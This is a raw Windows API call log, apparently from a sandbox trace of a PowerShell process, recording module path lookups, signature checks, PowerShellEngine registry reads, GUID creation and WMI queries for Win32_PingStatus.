CheckTokenMembership (in: TokenHandle=0x568, SidToCheck=0x23833d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x5bdce84 | out: IsMember=0x5bdce84) returned 1 [0158.401] QueryPerformanceCounter (in: lpPerformanceCount=0x5bdcc10 | out: lpPerformanceCount=0x5bdcc10*=1179937801725) returned 1 [0158.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0158.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0158.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdc8fc) returned 1 [0158.401] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5bdcbc0 | out: lpFileInformation=0x5bdcbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0158.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdc8f8) returned 1 [0158.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0158.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0158.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0158.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0158.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdc890) returned 1 [0158.402] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5bdcb54 | out: lpFileInformation=0x5bdcb54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0158.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdc88c) returned 1 [0158.402] CoTaskMemAlloc (cb=0x10) returned 0x5f71cc8 [0158.402] CoTaskMemAlloc (cb=0x10) returned 0x5f71cb0 [0158.402] CoTaskMemAlloc (cb=0xe4) returned 0x5c15f8 [0158.402] CoTaskMemAlloc (cb=0x30) returned 0x5aaae8 [0158.402] WinVerifyTrust () returned 0x800b0100 [0158.411] CoTaskMemFree (pv=0x5f71cc8) [0158.411] CoTaskMemFree (pv=0x5aaae8) [0158.411] CryptCATHandleFromStore () returned 0x5bb060 [0158.411] WTHelperGetProvSignerFromChain () returned 0x0 [0158.411] CoTaskMemAlloc (cb=0x10) returned 0x5f71cc8 [0158.411] CoTaskMemAlloc (cb=0x30) returned 0x5aaae8 [0158.411] WinVerifyTrust () returned 0x0 [0158.412] CoTaskMemFree (pv=0x5aaae8) [0158.412] CoTaskMemFree (pv=0x5f71cc8) [0158.412] CoTaskMemFree (pv=0x5c15f8) [0158.412] CoTaskMemFree (pv=0x5f71cb0) [0158.418] CoCreateGuid (in: pguid=0x5bdcaec | out: pguid=0x5bdcaec*(Data1=0x407469e8, Data2=0xd9b2, Data3=0x48d4, Data4=([0]=0x9f, [1]=0x7a, [2]=0x36, [3]=0x50, [4]=0xb2, [5]=0xe3, [6]=0xca, [7]=0x6a))) returned 0x0 [0158.418] CoCreateGuid (in: pguid=0x5bdcaec | out: pguid=0x5bdcaec*(Data1=0x285a2336, Data2=0xd2c0, Data3=0x4960, Data4=([0]=0xa4, [1]=0x11, [2]=0x7f, [3]=0x76, [4]=0x4c, [5]=0xba, [6]=0x46, [7]=0x2a))) returned 0x0 [0158.419] CoCreateGuid (in: pguid=0x5bdcaec | out: pguid=0x5bdcaec*(Data1=0x57443dbc, Data2=0x4b5f, Data3=0x4f61, Data4=([0]=0x8a, [1]=0xdc, [2]=0x8a, [3]=0xb2, [4]=0x67, [5]=0xba, [6]=0xd5, [7]=0x79))) returned 0x0 [0158.419] CoCreateGuid (in: pguid=0x5bdcaec | out: pguid=0x5bdcaec*(Data1=0x85e70fed, Data2=0x10af, Data3=0x4d19, Data4=([0]=0x8e, [1]=0xba, [2]=0x2d, [3]=0x56, [4]=0xf1, [5]=0x46, [6]=0xea, [7]=0x1c))) returned 0x0 [0158.420] CoCreateGuid (in: pguid=0x5bdcaec | out: pguid=0x5bdcaec*(Data1=0x41dfc320, Data2=0xbd82, Data3=0x418a, Data4=([0]=0x8b, [1]=0x40, [2]=0x98, [3]=0x6d, [4]=0x16, [5]=0x42, [6]=0x4f, [7]=0xfb))) returned 0x0 [0158.420] CoCreateGuid (in: pguid=0x5bdcaec | out: pguid=0x5bdcaec*(Data1=0x4b084daa, Data2=0xe1bf, Data3=0x4681, Data4=([0]=0x9e, [1]=0x27, [2]=0x55, [3]=0xb4, [4]=0x47, [5]=0xaa, [6]=0x67, [7]=0x7))) returned 0x0 [0158.514] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdde44 | out: phkResult=0x5bdde44*=0x564) returned 0x0 [0158.515] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x0, lpcbData=0x5bdde60*=0x0 | out: lpType=0x5bdde64*=0x1, lpData=0x0, lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.515] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x254cb90, lpcbData=0x5bdde60*=0x56 | out: lpType=0x5bdde64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.515] RegCloseKey (hKey=0x564) returned 0x0 [0158.515] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdde44 | out: phkResult=0x5bdde44*=0x564) returned 0x0 [0158.515] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x0, lpcbData=0x5bdde60*=0x0 | out: lpType=0x5bdde64*=0x1, lpData=0x0, lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.515] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x254cea4, lpcbData=0x5bdde60*=0x56 | out: lpType=0x5bdde64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.515] RegCloseKey (hKey=0x564) returned 0x0 [0158.516] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdde44 | out: phkResult=0x5bdde44*=0x564) returned 0x0 [0158.516] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x0, lpcbData=0x5bdde60*=0x0 | out: lpType=0x5bdde64*=0x1, lpData=0x0, lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.516] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x254d1a0, lpcbData=0x5bdde60*=0x56 | out: lpType=0x5bdde64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.516] RegCloseKey (hKey=0x564) returned 0x0 [0158.516] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdde44 | out: phkResult=0x5bdde44*=0x564) returned 0x0 [0158.516] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x0, lpcbData=0x5bdde60*=0x0 | out: lpType=0x5bdde64*=0x1, lpData=0x0, lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.516] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x254d49c, lpcbData=0x5bdde60*=0x56 | out: lpType=0x5bdde64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.516] RegCloseKey (hKey=0x564) returned 0x0 [0158.517] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdde44 | out: phkResult=0x5bdde44*=0x564) returned 0x0 [0158.517] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x0, lpcbData=0x5bdde60*=0x0 | out: lpType=0x5bdde64*=0x1, lpData=0x0, lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.517] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x254d7b0, lpcbData=0x5bdde60*=0x56 | out: lpType=0x5bdde64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.517] RegCloseKey (hKey=0x564) returned 0x0 [0158.517] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdde44 | out: phkResult=0x5bdde44*=0x564) returned 0x0 [0158.517] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x0, lpcbData=0x5bdde60*=0x0 | out: lpType=0x5bdde64*=0x1, lpData=0x0, lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.517] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x254dac4, lpcbData=0x5bdde60*=0x56 | out: lpType=0x5bdde64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.517] RegCloseKey (hKey=0x564) returned 0x0 [0158.518] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdde44 | out: phkResult=0x5bdde44*=0x564) returned 0x0 [0158.518] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x0, lpcbData=0x5bdde60*=0x0 | out: lpType=0x5bdde64*=0x1, lpData=0x0, lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.518] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bdde64, lpData=0x254ddc0, lpcbData=0x5bdde60*=0x56 | out: lpType=0x5bdde64*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bdde60*=0x56) returned 0x0 [0158.518] RegCloseKey (hKey=0x564) returned 0x0 [0158.518] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdde90 | out: phkResult=0x5bdde90*=0x564) returned 0x0 [0158.518] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bddeb0, lpData=0x0, lpcbData=0x5bddeac*=0x0 | out: lpType=0x5bddeb0*=0x1, lpData=0x0, lpcbData=0x5bddeac*=0x56) returned 0x0 [0158.519] RegQueryValueExW (in: hKey=0x564, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bddeb0, lpData=0x254e0c8, lpcbData=0x5bddeac*=0x56 | out: lpType=0x5bddeb0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bddeac*=0x56) returned 0x0 [0158.519] RegCloseKey (hKey=0x564) returned 0x0 [0158.519] CoTaskMemAlloc (cb=0x20c) returned 0x5bedb0 [0158.519] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x5bedb0 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0158.519] CoTaskMemFree (pv=0x5bedb0) [0158.519] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0158.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0158.520] EtwEventActivityIdControl () returned 0x0 [0158.520] SetEvent (hEvent=0x560) returned 1 [0158.520] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde1ec*=0x560, lpdwindex=0x5bde010 | out: lpdwindex=0x5bde010) returned 0x0 [0158.521] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde180, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0158.521] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bde2e4 | out: lpConsoleScreenBufferInfo=0x5bde2e4) returned 1 [0158.521] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bde2e4 | out: lpConsoleScreenBufferInfo=0x5bde2e4) returned 1 [0158.564] EtwEventActivityIdControl () returned 0x0 [0158.564] EtwEventActivityIdControl () returned 0x0 [0158.564] EtwEventActivityIdControl () returned 0x0 [0158.568] EtwEventActivityIdControl () returned 0x0 [0158.568] EtwEventActivityIdControl () returned 0x0 [0158.568] EtwEventActivityIdControl () returned 0x0 [0158.608] QueryPerformanceCounter (in: lpPerformanceCount=0x5bde2b4 | out: lpPerformanceCount=0x5bde2b4*=1179958528290) returned 1 [0158.699] QueryPerformanceCounter (in: lpPerformanceCount=0x5bde27c | out: lpPerformanceCount=0x5bde27c*=1179967581028) returned 1 [0159.032] EtwEventWriteTransfer () returned 0x0 [0159.067] QueryPerformanceCounter (in: lpPerformanceCount=0x5bde790 | out: lpPerformanceCount=0x5bde790*=1180004409005) returned 1 [0159.072] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x564 [0159.072] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde4e8 | out: puCount=0x5bde4e8*=0x2) returned 0x0 [0159.072] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4e4*=0xf, pszText=0x0) returned 0x0 [0159.072] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.073] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x258587c*=0, plFlavor=0x2585880*=0 | out: pVal=0x5bde4e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x258587c*=8, plFlavor=0x2585880*=64) returned 0x0 [0159.073] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.073] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.073] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x258587c*=8, plFlavor=0x2585880*=64 | out: pVal=0x5bde4ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x258587c*=8, plFlavor=0x2585880*=64) returned 0x0 [0159.073] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.073] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0159.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde4e8 | out: puCount=0x5bde4e8*=0x2) returned 0x0 [0159.073] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4e4*=0xf, pszText=0x0) returned 0x0 [0159.073] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.073] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2585918*=0, plFlavor=0x258591c*=0 | out: pVal=0x5bde4e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2585918*=8, plFlavor=0x258591c*=64) returned 0x0 [0159.073] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.073] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.073] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2585918*=8, plFlavor=0x258591c*=64 | out: pVal=0x5bde4ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2585918*=8, plFlavor=0x258591c*=64) returned 0x0 [0159.073] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.073] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde4e8 | out: puCount=0x5bde4e8*=0x2) returned 0x0 [0159.073] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4e4*=0xf, pszText=0x0) returned 0x0 [0159.073] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.073] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__Derivation", lFlags=0, pVal=0x5bde4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2585a74*=0, plFlavor=0x2585a78*=0 | out: pVal=0x5bde4e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2585a74*=8200, plFlavor=0x2585a78*=64) returned 0x0 [0159.074] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__Derivation", lFlags=0, pVal=0x5bde4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2585a74*=8200, plFlavor=0x2585a78*=64 | out: pVal=0x5bde4ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2585a74*=8200, plFlavor=0x2585a78*=64) returned 0x0 [0159.074] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde4e8 | out: puCount=0x5bde4e8*=0x2) returned 0x0 [0159.074] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4e4*=0xf, pszText=0x0) returned 0x0 [0159.074] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.074] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2585cdc*=0, plFlavor=0x2585ce0*=0 | out: pVal=0x5bde4e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2585cdc*=8, plFlavor=0x2585ce0*=64) returned 0x0 [0159.074] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.074] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.074] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2585cdc*=8, plFlavor=0x2585ce0*=64 | out: pVal=0x5bde4ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2585cdc*=8, plFlavor=0x2585ce0*=64) returned 0x0 [0159.074] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.074] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0159.074] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde4e8 | out: puCount=0x5bde4e8*=0x2) returned 0x0 [0159.074] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4e4*=0xf, pszText=0x0) returned 0x0 [0159.074] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.074] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__Derivation", lFlags=0, pVal=0x5bde4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2585e04*=0, plFlavor=0x2585e08*=0 | out: pVal=0x5bde4e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2585e04*=8200, plFlavor=0x2585e08*=64) returned 0x0 [0159.075] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__Derivation", lFlags=0, pVal=0x5bde4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2585e04*=8200, plFlavor=0x2585e08*=64 | out: pVal=0x5bde4ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85220, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2585e04*=8200, plFlavor=0x2585e08*=64) returned 0x0 [0159.076] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde500 | out: puCount=0x5bde500*=0x2) returned 0x0 [0159.076] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4fc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4fc*=0xf, pszText=0x0) returned 0x0 [0159.076] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.076] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde500 | out: puCount=0x5bde500*=0x2) returned 0x0 [0159.076] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4fc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4fc*=0xf, pszText=0x0) returned 0x0 [0159.076] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.076] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde508*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde4fc | out: pNames=0x5bde4fc*="\x01ƀ\x04") returned 0x0 [0159.076] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0159.076] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0159.076] SafeArrayGetLBound (in: psa=0x5f8afd0, nDim=0x1, plLbound=0x5bde394 | out: plLbound=0x5bde394) returned 0x0 [0159.076] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.076] SysStringByteLen (bstr="__GENUS") returned 0xe [0159.076] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.076] SysStringByteLen (bstr="__CLASS") returned 0xe [0159.076] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0159.076] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 